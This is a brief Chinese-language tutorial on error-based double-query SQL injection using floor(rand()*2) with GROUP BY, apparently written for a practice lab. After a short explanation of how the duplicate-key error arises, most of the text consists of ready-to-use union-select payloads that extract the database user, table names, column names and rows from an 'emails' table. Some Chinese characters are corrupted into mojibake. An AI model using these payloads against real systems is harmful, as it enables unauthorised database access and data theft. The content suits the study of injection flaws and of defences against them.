基礎SQL知識
雙查詢報錯注入需用到四個函數(shù)和一個group by語句:
group by ...?--->分組語句 //將查詢的結果分類匯總
rand()?--->隨機數(shù)生成函數(shù)
floor()?--->取整函數(shù) //用來對生成的隨機數(shù)取整
concat()?--->連接字符串
count()?--->統(tǒng)計函數(shù) //結合group by語句統(tǒng)計分組后的數(shù)據(jù)
雙注報錯原理在group by執(zhí)行原理,group by 在執(zhí)行的時候會生成一張?zhí)摂M表,而group by后面的key就是這張表的主鍵
因為使用rand()*2作為排序條件,那么在查詢是生成的key為0,檢測虛擬表無重復,再插入的時候有生成1,插入表中時主鍵沖突就會報出錯誤。并且表現(xiàn)為不一定是每次都報錯
1' union SELECT 1,2, count(1) from information_schema.schemata group by concat(floor(rand()*2),user())--+

利用子查詢報出表名
1' union SELECT 1,2, count(1) from information_schema.schemata group by concat(floor(rand()*2),(select table_name from information_schema.tables where table_schema=database() limit 0,1))--+

爆出列名
1' union SELECT 1,2, count(1) from information_schema.schemata group by concat(floor(rand()*2),(select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1))--+

下載數(shù)據(jù)
1' union SELECT 1,2, count(1) from information_schema.schemata group by concat(floor(rand()*2),(select concat_ws("-",id,email_id) from emails limit 0,1))--+
